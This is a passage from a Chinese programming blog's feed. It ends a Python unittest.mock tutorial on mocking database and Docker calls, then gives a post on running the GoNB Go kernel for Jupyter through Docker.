&#x6A21;&#x62DF;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;</h4><p>&#x5728;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x5E0C;&#x671B;&#x5C06;&#x6D4B;&#x8BD5;&#x5BF9;&#x8C61;&#x4E0E;&#x6570;&#x636E;&#x5E93;&#x4EA4;&#x4E92;&#x9694;&#x79BB;&#x5F00;&#xFF0C;&#x4EE5;&#x8FBE;&#x5230;&#x4EE5;&#x4E0B;&#x76EE;&#x7684;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x63D0;&#x9AD8;&#x6D4B;&#x8BD5;&#x901F;&#x5EA6;: &#x907F;&#x514D;&#x6BCF;&#x6B21;&#x6D4B;&#x8BD5;&#x90FD;&#x8FDE;&#x63A5;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x4ECE;&#x800C;&#x52A0;&#x5FEB;&#x6D4B;&#x8BD5;&#x6267;&#x884C;&#x901F;&#x5EA6;&#x3002;</p></li><li class="lvl-2"><p>&#x589E;&#x5F3A;&#x6D4B;&#x8BD5;&#x7A33;&#x5B9A;&#x6027;: &#x907F;&#x514D;&#x7531;&#x4E8E;&#x6570;&#x636E;&#x5E93;&#x8FDE;&#x63A5;&#x95EE;&#x9898;&#x6216;&#x6570;&#x636E;&#x53D8;&#x66F4;&#x5BFC;&#x81F4;&#x6D4B;&#x8BD5;&#x5931;&#x8D25;&#x3002;</p></li><li class="lvl-2"><p>&#x65B9;&#x4FBF;&#x6D4B;&#x8BD5;&#x5404;&#x79CD;&#x573A;&#x666F;: &#x53EF;&#x4EE5;&#x7075;&#x6D3B;&#x5730;&#x6A21;&#x62DF;&#x5404;&#x79CD;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;&#x7684;&#x7ED3;&#x679C;&#x3002;</p></li></ul><figure class="highlight python"><figcaption><span>test_mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sqlalchemy <span class="keyword">import</span> create_engine</span><br><span class="line"><span class="keyword">from</span> sqlalchemy.orm <span class="keyword">import</span> sessionmaker</span><br><span class="line"><span class="keyword">import</span> unittest</span><br><span class="line"><span class="keyword">from</span> unittest.mock <span class="keyword">import</span> patch</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> models <span class="keyword">import</span> User <span class="comment"># &#x5047;&#x8BBE;&#x6709;&#x4E00;&#x4E2A; User &#x6A21;&#x578B;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># &#x5047;&#x8BBE;&#x9700;&#x8981;&#x6839;&#x636E; id &#x67E5;&#x8BE2;&#x7528;&#x6237;&#x4FE1;&#x606F;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_user_by_id</span>(<span class="params">user_id</span>):</span><br><span class="line">engine = create_engine(<span class="string">&apos;sqlite:///test.db&apos;</span>)</span><br><span class="line">Session = sessionmaker(bind=engine)</span><br><span class="line">session = Session()</span><br><span class="line">user = session.query(User).filter_by(<span class="built_in">id</span>=user_id).first()</span><br><span class="line"><span class="keyword">return</span> user</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestQueryFromDB</span>(unittest.TestCase):</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">test_get_user_by_id</span>(<span class="params">self</span>): <span class="comment"># &#x6A21;&#x62DF;&#x4E00;&#x4E2A; models.Session &#x5BF9;&#x8C61;&#x3002; # &#x5E76;&#x4E14;&#x8FD9;&#x91CC;&#x4F7F;&#x7528; with &#x8BED;&#x6CD5;&#x5C06; mock &#x5BF9;&#x8C61;&#x7528;&#x4F5C;&#x4E0A;&#x4E0B;&#x6587;&#xFF0C;&#x4F46;&#x662F;&#x8FD9;&#x6837;&#x53EA;&#x9002;&#x5408;&#x6709;&#x4E00;&#x4E2A;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x7684;&#x60C5;&#x51B5;</span></span><br><span class="line"><span class="keyword">with</span> patch(<span class="string">&apos;models.Session&apos;</span>) <span class="keyword">as</span> mock_session: <span class="comment"># &#x6A21;&#x62DF; session &#x8FD4;&#x56DE;&#x7684;&#x4E00;&#x4E2A;&#x5B9E;&#x4F8B;</span></span><br><span class="line">mock_instance = mock_session.return_value <span class="comment"># &#x6A21;&#x62DF;&#x5B9E;&#x4F8B;&#x7684; query, filter_by, first &#x65B9;&#x6CD5;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;&#x6A21;&#x62DF;&#x67E5;&#x8BE2;&#x7ED3;&#x679C;</span></span><br><span class="line">mock_instance.query.return_value.filter_by.return_value.first.return_value = User(<span class="built_in">id</span>=<span class="number">1</span>, name=<span class="string">&apos;Alice&apos;</span>)</span><br><span class="line"></span><br><span class="line">            result = get_user_by_id(<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">assert</span> result.<span class="built_in">id</span> == <span class="number">1</span></span><br><span class="line">            <span class="keyword">assert</span> result.name == <span class="string">&apos;Alice&apos;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x6A21;&#x62DF;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;&#x662F;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x4E2D;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x4E00;&#x73AF;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x66F4;&#x597D;&#x5730;&#x6D4B;&#x8BD5;&#x6570;&#x636E;&#x5E93;&#x4EA4;&#x4E92;&#x903B;&#x8F91;&#x3002;&#x901A;&#x8FC7;&#x7075;&#x6D3B;&#x8FD0;&#x7528; Mock &#x5DE5;&#x5177;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x6A21;&#x62DF;&#x5404;&#x79CD;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;&#x573A;&#x666F;&#xFF0C;&#x786E;&#x4FDD;&#x4EE3;&#x7801;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x6570;&#x636E;&#x5E93;&#x73AF;&#x5883;&#x4E0B;&#x90FD;&#x80FD;&#x6B63;&#x5E38;&#x8FD0;&#x884C;&#x3002;</p><h4 id="4-&#x6A21;&#x62DF;&#x5916;&#x90E8;&#x7CFB;&#x7EDF;&#x8C03;&#x7528;">4. &#x6A21;&#x62DF;&#x5916;&#x90E8;&#x7CFB;&#x7EDF;&#x8C03;&#x7528;</h4><p>&#x8DDF;&#x524D;&#x9762;&#x7684;&#x7C7B;&#x4F3C;&#xFF0C;&#x8FD9;&#x91CC;&#x662F;&#x83B7;&#x53D6;&#x7CFB;&#x7EDF;&#x4E2D; Docker &#x670D;&#x52A1;&#xFF0C;&#x7136;&#x540E;&#x6267;&#x884C;&#x547D;&#x4EE4;&#x3002;</p><figure class="highlight python"><figcaption><span>test_mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> unittest.mock <span class="keyword">import</span> patch</span><br><span class="line"><span class="keyword">import</span> docker</span><br><span class="line"></span><br><span class="line"><span class="comment"># &#x83B7;&#x53D6;&#x6307;&#x5B9A;&#x5BB9;&#x5668;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_container</span>(<span class="params">name</span>):</span><br><span class="line">client = docker.DockerClient(base_url=<span class="string">&quot;unix://var/run/docker.sock&quot;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">container = client.containers.get(name)</span><br><span class="line"><span class="keyword">except</span> docker.errors.NotFound <span class="keyword">as</span> e:</span><br><span class="line">logging.error(<span class="string">&quot;container {} not found, error: {}&quot;</span>.<span class="built_in">format</span>(name, e))</span><br><span class="line"><span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"><span class="keyword">return</span> container</span><br><span class="line"></span><br><span class="line"><span class="comment"># &#x5728;&#x6307;&#x5B9A;&#x5BB9;&#x5668;&#x4E2D;&#x8FD0;&#x884C;&#x547D;&#x4EE4;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_cmd_in_container</span>(<span class="params">command, container, user=<span class="string">&quot;root&quot;</span></span>):</span><br><span class="line"><span class="keyword">if</span> container <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="literal">False</span>, <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    exit_code, output = container.exec_run(command, user=user, privileged=<span class="literal">True</span>)</span><br><span class="line">    <span class="keyword">if</span> exit_code != <span class="number">0</span>:</span><br><span class="line">        logging.error(</span><br><span class="line">            <span class="string">&quot;Failed to run {} in container , exit code: {}, output: {}&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">                command, exit_code, output</span><br><span class="line">            )</span><br><span class="line">        )</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span>, <span class="literal">None</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span>, output</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestDocker</span>(unittest.TestCase):</span><br><span class="line">not_found_exception = docker.errors.NotFound(<span class="string">&quot;Container not found&quot;</span>) <span class="comment"># &#x521B;&#x5EFA; mock &#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x4E14;&#x6A21;&#x62DF;&#x6CA1;&#x6709;&#x627E;&#x5230;&#x5BB9;&#x5668;&#x7684;&#x9519;&#x8BEF; case</span></span><br><span class="line">docker_client_mock = Mock()</span><br><span class="line">docker_client_mock.containers.get.side_effect = not_found_exception</span><br><span class="line"></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;docker.DockerClient&quot;</span>, return_value=docker_client_mock</span>)</span></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;logging.error&quot;</span></span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_get_container</span>(<span class="params">self, mock_error, docker_mock</span>):</span><br><span class="line">        container = get_container(<span class="string">&quot;sds-postgres&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">self</span>.assertIsNone(container)</span><br><span class="line">        docker_mock.assert_called_once()</span><br><span class="line">        mock_error.assert_called_once()</span><br><span class="line">        mock_error.assert_has_calls(</span><br><span class="line">            [call(<span class="string">&quot;container sds-postgres not found, error: Container not found&quot;</span>)]</span><br><span class="line">        )</span><br><span class="line">    <span class="comment"># &#x6700;&#x540E;&#x6E05;&#x9664; mock &#x5BF9;&#x8C61;&#x8D44;&#x6E90;&#xFF1A;reset_mock()</span></span><br><span class="line">    docker_client_mock.reset_mock()</span><br><span class="line"></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&quot;docker.DockerClient&quot;</span></span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_run_cmd_in_container</span>(<span class="params">self, mock_docker_client</span>):</span><br><span class="line">        <span class="comment"># &#x521B;&#x5EFA; Mock &#x5BF9;&#x8C61;&#xFF0C; &#x6A21;&#x62DF;&#x4E00;&#x4E2A; docker client</span></span><br><span class="line">        mock_client = Mock()</span><br><span class="line">        mock_docker_client.return_value = mock_client</span><br><span class="line">        <span class="comment"># &#x521B;&#x5EFA; Mock &#x5BF9;&#x8C61;&#xFF0C; &#x6A21;&#x62DF;&#x4E00;&#x4E2A; docker &#x5BB9;&#x5668;</span></span><br><span class="line">        mock_container = Mock()</span><br><span class="line">        mock_client.containers.get.return_value = mock_container</span><br><span class="line"></span><br><span class="line">        mock_container.exec_run.return_value = (<span class="number">0</span>, <span class="string">b&quot;Success&quot;</span>)</span><br><span class="line">        ret, output = run_cmd_in_container(<span class="string">&quot;psql&quot;</span>, mock_container)</span><br><span class="line"></span><br><span class="line">        mock_container.exec_run.assert_called_with(<span class="string">&quot;psql&quot;</span>, user=<span class="string">&quot;root&quot;</span>, privileged=<span class="literal">True</span>)</span><br><span class="line">        <span class="variable language_">self</span>.assertEqual(output, <span class="string">b&quot;Success&quot;</span>)</span><br><span class="line">        <span class="variable language_">self</span>.assertTrue(ret)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x4EE5;&#x4E0A;&#x3002;</p><h3 id="References">References:</h3><ul class="lvl-0"><li class="lvl-2"><p><a href="https://docs.python.org/3/library/unittest.mock-examples.html#">unittest.mock getting started</a></p></li><li class="lvl-2"><p><a href="https://blog.csdn.net/weixin_41605937/article/details/121268658">&#x8F6F;&#x4EF6;&#x6D4B;&#x8BD5;&#x2014;&#x2014;Mock &#x539F;&#x7406;&#x548C;&#x4F7F;&#x7528;</a></p></li><li class="lvl-2"><p><a href="https://github.com/skyformat99/TranslateProject-1/blob/master/published/201608/20160618%20An%20Introduction%20to%20Mocking%20in%20Python.md">Mock &#x5728; Python &#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x4E2D;&#x7684;&#x4F7F;&#x7528;</a></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x6DF1;&amp;#x5165;&amp;#x8BB2;&amp;#x89E3;Python&amp;#x7684;Mock&amp;#x6D4B;&amp;#x8BD5;&amp;#x6280;&amp;#x672F;&amp;#xFF0C;&amp;#x8BE6;&amp;#x7EC6;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x4F7F;&amp;#x7528;unittest.mock&amp;#x6A21;&amp;#x5757;&amp;#x5728;&amp;#x5355;&amp;#x5143;&amp;#x6D4B;&amp;#x8BD5;&amp;#x4E2D;&amp;#x6A21;&amp;#x62DF;&amp;#x5916;&amp;#x90E8;&amp;#x4F9D;&amp;#x8D56;&amp;#x3002;&amp;#x901A;&amp;#x8FC7;&amp;#x6587;&amp;#x4EF6;&amp;#x64CD;&amp;#x4F5C;&amp;#x3001;&amp;#x7F51;&amp;#x7EDC;&amp;#x8BF7;&amp;#x6C42;&amp;#x548C;&amp;#x6570;&amp;#x636E;&amp;#x5E93;&amp;#x4EA4;&amp;#x4E92;&amp;#x7684;&amp;#x5B9E;&amp;#x4F8B;&amp;#xFF0C;&amp;#x5BF9;&amp;#x6BD4;&amp;#x4F20;&amp;#x7EDF;&amp;#x6D4B;&amp;#x8BD5;&amp;#x4E0E;Mock&amp;#x6D4B;&amp;#x8BD5;&amp;#x7684;&amp;#x533A;&amp;#x522B;&amp;#xFF0C;&amp;#x5E76;&amp;#x5168;&amp;#x9762;&amp;#x89E3;&amp;#x6790;Mock&amp;#x5BF9;&amp;#x8C61;&amp;#x7684;&amp;#x5C5E;&amp;#x6027;&amp;#x914D;&amp;#x7F6E;&amp;#x3001;patch&amp;#x88C5;&amp;#x9970;&amp;#x5668;&amp;#x7684;&amp;#x4F7F;&amp;#x7528;&amp;#x4EE5;&amp;#x53CA;&amp;#x65AD;&amp;#x8A00;&amp;#x65B9;&amp;#x6CD5;&amp;#x7684;&amp;#x5E94;&amp;#x7528;&amp;#xFF0C;&amp;#x5E2E;&amp;#x52A9;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x7F16;&amp;#x5199;&amp;#x66F4;&amp;#x52A0;&amp;#x72EC;&amp;#x7ACB;&amp;#x3001;&amp;#x53EF;&amp;#x9760;&amp;#x7684;&amp;#x6D4B;&amp;#x8BD5;&amp;#x4EE3;&amp;#x7801;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Python" scheme="https://oschina.win/categories/Python/"/>
    
    
    <category term="Mock-test" scheme="https://oschina.win/tags/Mock-test/"/>
    
  </entry>
  
  <entry>
    <title>Jupyter Notebook with Go kernel 系列二</title>
    <link href="https://oschina.win/posts/6703d078.html"/>
    <id>https://oschina.win/posts/6703d078.html</id>
    <published>2024-09-09T02:36:47.000Z</published>
    <updated>2025-04-25T13:16:24.214Z</updated>
    
    <content type="html"><![CDATA[<p>Jupyter Notebook with go kernel &#x540E;&#x7EED;</p><p>&#x672C;&#x6587;&#x8BB0;&#x5F55;&#x4E86;&#x4F5C;&#x8005;&#x4ECE;gophernotes&#x5207;&#x6362;&#x5230;GoNB&#x4F5C;&#x4E3A;Jupyter Notebook&#x7684;Go&#x5185;&#x6838;&#x7684;&#x7ECF;&#x9A8C;&#xFF0C;&#x8BE6;&#x7EC6;&#x6BD4;&#x8F83;&#x4E86;&#x4E24;&#x79CD;&#x5B9E;&#x73B0;&#x65B9;&#x6848;&#x7684;&#x4F18;&#x7F3A;&#x70B9;&#x3002;&#x6587;&#x7AE0;&#x9996;&#x5148;&#x63A2;&#x8BA8;&#x4E86;&#x5728;Windows&#x7CFB;&#x7EDF;&#x4E0B;&#x4F7F;&#x7528;gophernotes&#x9047;&#x5230;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x4EE5;&#x53CA;&#x5C1D;&#x8BD5;&#x901A;&#x8FC7;Docker&#x89E3;&#x51B3;&#x7684;&#x8FC7;&#x7A0B;&#xFF1B;&#x7136;&#x540E;&#x4ECB;&#x7ECD;&#x4E86;GoNB&#x7684;&#x5B89;&#x88C5;&#x548C;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;&#x5B9E;&#x9645;&#x793A;&#x4F8B;&#x5C55;&#x793A;&#x4E86;GoNB&#x4F18;&#x79C0;&#x7684;&#x4EE3;&#x7801;&#x6267;&#x884C;&#x3001;&#x53EF;&#x89C6;&#x5316;&#x548C;&#x4EA4;&#x4E92;&#x80FD;&#x529B;&#x3002;&#x5BF9;&#x4E8E;&#x5E0C;&#x671B;&#x5728;Jupyter&#x73AF;&#x5883;&#x4E2D;&#x4F7F;&#x7528;Go&#x8BED;&#x8A00;&#x7684;&#x5F00;&#x53D1;&#x8005;&#xFF0C;&#x672C;&#x6587;&#x63D0;&#x4F9B;&#x4E86;&#x5B9E;&#x7528;&#x7684;&#x5DE5;&#x5177;&#x9009;&#x62E9;&#x548C;&#x914D;&#x7F6E;&#x6307;&#x5357;&#x3002;</p><span id="more"></span><p>&#x524D;&#x9762;&#x63D0;&#x5230;&#x8FC7;&#xFF0C;&#x6211;&#x4F7F;&#x7528;&#x4E86; gophernotes &#x4F5C;&#x4E3A; Jupyter notebook &#x7684; go kernel &#x5B9E;&#x73B0;&#x672C;&#x5730;&#x81EA;&#x5DF1;&#x7684; &#x201C;go playground&#x201D;, &#x4F46;&#x662F;&#x8FD9;&#x4E2A;&#x5BF9;&#x4E8E;&#x5728; Windows &#x4E0A;&#x4F7F;&#x7528;&#x5E76;&#x4E0D;&#x662F;&#x8DB3;&#x591F;&#x5B8C;&#x5584;&#x3002;&#x6211;&#x5728;&#x4F7F;&#x7528;&#x65F6;&#x786E;&#x5B9E;&#x78B0;&#x5230;&#x4E00;&#x4E9B;&#x95EE;&#x9898;&#xFF0C;&#x770B;&#x4E86;&#x4E00;&#x4E0B;&#x5B98;&#x65B9;&#x793E;&#x533A;&#xFF0C;&#x4ED6;&#x4EEC;&#x63A8;&#x8350;&#x5728; Windows &#x4E0A;&#x4F7F;&#x7528; Docker &#x90E8;&#x7F72;&#x3002;&#x4E8E;&#x662F;&#x6211;&#x53C8;&#x5728;&#x672C;&#x5730;&#x8BD5;&#x4E86;&#x4E00;&#x4E0B;&#x3002;</p><p>&#x9996;&#x5148;&#x53D1;&#x73B0;&#x6211;&#x7684; Windows &#x4E0A;&#x6CA1;&#x4E86; Docker&#xFF0C;&#x4E0D;&#x77E5;&#x9053;&#x4EC0;&#x4E48;&#x65F6;&#x5019;&#x5220;&#x9664;&#x4E86; &#x1F626; &#x90A3;&#x4E48;&#x5C31;&#x5148;&#x5B89;&#x88C5;&#x5427;&#x3002;&#x8FD9;&#x4E2A;&#x5F88;&#x7B80;&#x5355;:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">choco install docker -y</span><br></pre></td></tr></table></figure><p>&#x4E0D;&#x5BF9;&#xFF0C;&#x662F;&#x8981;&#x684C;&#x9762;&#x7248;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">choco install docker-desktop -y</span><br></pre></td></tr></table></figure><p>&#x5B89;&#x88C5;&#x5B8C;&#x6BD5;&#xFF01;</p><h3 id="gophernotes">gophernotes</h3><p><strong>&#x5B89;&#x88C5;</strong></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -it -p 8888:8888 gopherdata/gophernotes</span><br></pre></td></tr></table></figure><p>&#x52A0;&#x4E86; latest-ds &#x540E;&#x91CC;&#x9762;&#x5B89;&#x88C5;&#x4E86; go &#x6570;&#x636E;&#x79D1;&#x5B66;&#x5305;&#xFF0C;&#x5982; gonum, gota, golearn, etc</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -it -p 8888:8888 -v /path/to/local/notebooks:/path/to/notebooks/in/docker gopherdata/gophernotes:latest-ds</span><br></pre></td></tr></table></figure><p>&#x4F46;&#x662F;&#x8FD9;&#x91CC;&#x6211;&#x8FD8;&#x53D1;&#x73B0;&#x4E00;&#x70B9;&#x4E0D;&#x65B9;&#x4FBF;&#xFF0C;&#x4F7F;&#x7528;&#x8FD9;&#x4E2A;&#x955C;&#x50CF;&#x5B89;&#x88C5;&#x6709;&#x4E00;&#x4E2A;&#x7F3A;&#x70B9;&#xFF0C;&#x5C31;&#x662F;&#x5728;&#x8FD0;&#x884C; notebooks &#x65F6;&#x6709;&#x4E9B;&#x5305;&#x5BFC;&#x5165;&#x5931;&#x8D25;&#xFF0C;&#x56E0;&#x4E3A;&#x4E0B;&#x8F7D;&#x7684; Docker &#x955C;&#x50CF;&#x4E2D;&#x6CA1;&#x6709;&#x5B89;&#x88C5;&#x76F8;&#x5E94;&#x7684;&#x5305;&#x3002;&#x8BD5;&#x4E86;&#x4E0B;&#x8FDB;&#x5165; Docker &#x955C;&#x50CF;&#x5185;&#x90E8;&#xFF0C;&#x60F3;&#x7740;&#x624B;&#x52A8;&#x5B89;&#x88C5;&#x5427;&#xFF0C;&#x7ED3;&#x679C;&#x91CC;&#x9762;&#x8FDE;&#x5305;&#x7BA1;&#x7406;&#x547D;&#x4EE4;&#x90FD;&#x7F3A;&#x5931;&#x3002;&#x6240;&#x4EE5;&#x5C31;&#x653E;&#x5F03;&#xFF0C;&#x6298;&#x817E;&#x4E0B;&#x53BB;&#x7684;&#x8BDD;&#x4E0D;&#x77E5;&#x9053;&#x8FD8;&#x4F1A;&#x6709;&#x4EC0;&#x4E48;&#x95EE;&#x9898;&#x3002;&#x6240;&#x4EE5;&#x5462;&#xFF0C;&#x8FD8;&#x662F;&#x56DE;&#x5230;&#x672C;&#x5730;&#x5B89;&#x88C5;&#x7684;&#x73AF;&#x5883;&#x4E2D;&#x6765;&#x3002;&#x7528;&#x4E86; Docker &#x7ED3;&#x679C;&#x8FD8;&#x662F;&#x5FC3;&#x585E;&#xFF0C;&#x5F53;&#x521D;&#x9009; gophernotes &#x662F;&#x6709;&#x70B9;&#x968F;&#x4FBF;&#x4E86;&#x3002;&#x6240;&#x4EE5;&#x5462;&#xFF0C;&#x6211;&#x60F3;&#x6362; Go kernel &#x4E86;&#x3002;</p><p>&#x518D;&#x6B21;&#x8BA4;&#x771F;&#x770B;&#x4E86;&#x4E0B;&#x8FD9;&#x4E2A;&#x5217;&#x8868;: <img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240825015605.png" alt="image.png"><br>&#x53D1;&#x73B0;&#x9664;&#x4E86; gophernotes, gonb &#x8FD9;&#x4E24;&#x4E2A;&#xFF0C;&#x57FA;&#x672C;&#x4E0A;&#x5176;&#x5B83;&#x7684;&#x90FD;&#x4E0D;&#x884C;&#x3002;&#x6240;&#x4EE5;&#x73B0;&#x5728;&#x53EA;&#x80FD;&#x8BD5;&#x4E0B; gonb &#x4E86;&#x3002;</p><h3 id="GoNB">GoNB</h3><p>&#x8FD9;&#x6B21;&#x4E0D;&#x60F3;&#x6574;&#x73AF;&#x5883;&#x95EE;&#x9898;&#x4E86;&#xFF0C;&#x76F4;&#x63A5;&#x4E0A; Docker &#x5BB9;&#x5668;&#xFF1A;</p><p><strong>&#x5B89;&#x88C5;</strong></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker pull janpfeifer/gonb_jupyterlab:latest</span><br><span class="line">docker run -it --rm -p 8888:8888 -v &quot;${PWD}&quot;:/notebooks/host janpfeifer/gonb_jupyterlab:latest</span><br></pre></td></tr></table></figure><p><strong>&#x4F7F;&#x7528;</strong></p><p>&#x5148;&#x7167;&#x7740; tutirial &#x6587;&#x6863;&#x628A;&#x6240;&#x6709;&#x7684;&#x4F8B;&#x5B50;&#x90FD;&#x8FD0;&#x884C;&#x4E00;&#x904D;&#xFF0C;&#x53D1;&#x73B0;&#x8FD9;&#x4E2A; go kernel &#x771F; NB&#x3002;</p><p>&#x4E0B;&#x9762;&#x662F;&#x603B;&#x7ED3;&#x7684;&#x4E00;&#x4E9B;&#x6211;&#x89C9;&#x5F97;&#x6709;&#x7528;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#xFF1A;&#x4E0D;&#x8FC7;&#x4E5F;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x770B;&#x539F;&#x6587;&#x6863;&#xFF1A;<a href="https://github.com/janpfeifer/gonb/blob/main/examples/tutorial.ipynb">tutorial</a>&#x3002;&#x4F46;&#x662F;&#x5462;&#x539F;&#x6587;&#x6863;&#x662F; <code>.ipynb</code> &#x683C;&#x5F0F;&#x7684;&#xFF0C;&#x800C;&#x4E14;&#x6BD4;&#x8F83;&#x957F;&#xFF0C;&#x6211;&#x53EA;&#x6458;&#x53D6;&#x90E8;&#x5206;&#x5185;&#x5BB9;&#x4F5C;&#x4E3A;&#x8BF4;&#x660E;&#xFF0C;&#x5E76;&#x4E14;&#x662F;&#x5728; notebook &#x4E2D;&#x6F14;&#x793A;&#xFF1A;</p><iframe src="https://nbviewer.org/github/Cactusinhand/IPynb/blob/main/files/demo.ipynb" width="100%" height="600"></iframe><blockquote><p>&#x8FD9;&#x4E2A;&#x6E32;&#x67D3;&#x6548;&#x679C;&#x6765;&#x81EA;&#xFF1A;<a href="https://nbviewer.org/">nbviewer</a></p></blockquote><p>&#x7ED3;&#x8BBA;&#x5C31;&#x662F;&#xFF1A;gonb &#x662F;&#x6BD4; gophernotes &#x66F4;&#x597D;&#x7684;&#x7528;&#x4E8E; Jupyter notebook &#x7684; go kernel&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Jupyter Notebook with go kernel &amp;#x540E;&amp;#x7EED;&lt;/p&gt;
